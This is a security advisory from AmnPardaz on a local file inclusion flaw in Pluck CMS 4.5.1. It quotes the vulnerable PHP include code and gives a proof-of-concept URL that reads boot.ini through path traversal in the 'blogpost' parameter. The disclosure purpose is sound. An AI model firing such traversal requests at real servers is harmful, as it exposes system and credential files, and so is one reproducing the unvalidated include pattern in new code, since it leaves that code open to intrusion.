Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only)

########################## www.BugReport.ir #########################

# AmnPardaz Security Research Team

# Title: Pluck Local File inclusion

# Vendor: http://www.pluck-cms.org

# Bug: Local File Inclusion

# Vulnerable Version: 4.5.1 (prior versions also may be affected)

# Exploitation: Remote with browser

# Fix: N/A

###################################################################

####################

- Description:

#################### Pluck is a content management system, written in php.

####################

- Vulnerability:

#################### --> Local File Inclusion Input passed to multiple parameters in "predefined_variables.php" are not properly verified

before being used to include files.

This can be exploited to include arbitrary files from local resources. Code Snippet:

/data/inc/themes/predefined_variables.php #line:15-38 //Include Translation data

include ("data/settings/langpref.php");

include ("data/inc/lang/$langpref");

//Get Site-title

$sitetitle = file_get_contents("data/settings/title.dat"); //Get the page-data

$filetoread = $_GET['file'];

$album = $_GET['album'];

$blogpost = $_GET['blogpost'];

$cat = $_GET['cat']; if (($filetoread) && (file_exists("data/content/$filetoread"))) {

include "data/content/$filetoread"; } elseif ($album) {

$title = $album; } elseif ($blogpost) {

include("data/blog/$cat/posts/$blogpost"); } elseif ((!file_exists("data/content/$filetoread")) && (!$album) && (!$blogpost)) {

$title = $lang_front1;

$content = $lang_front2; }

POC: http://localhost/pluck-4_5_1/data/inc/themes/predefined_variables.php?blogpost=../../../../../../../../boot.ini ####################

- Credit :

####################

AmnPardaz Security Research Team

Contact: admin[4t}bugreport{d0t]ir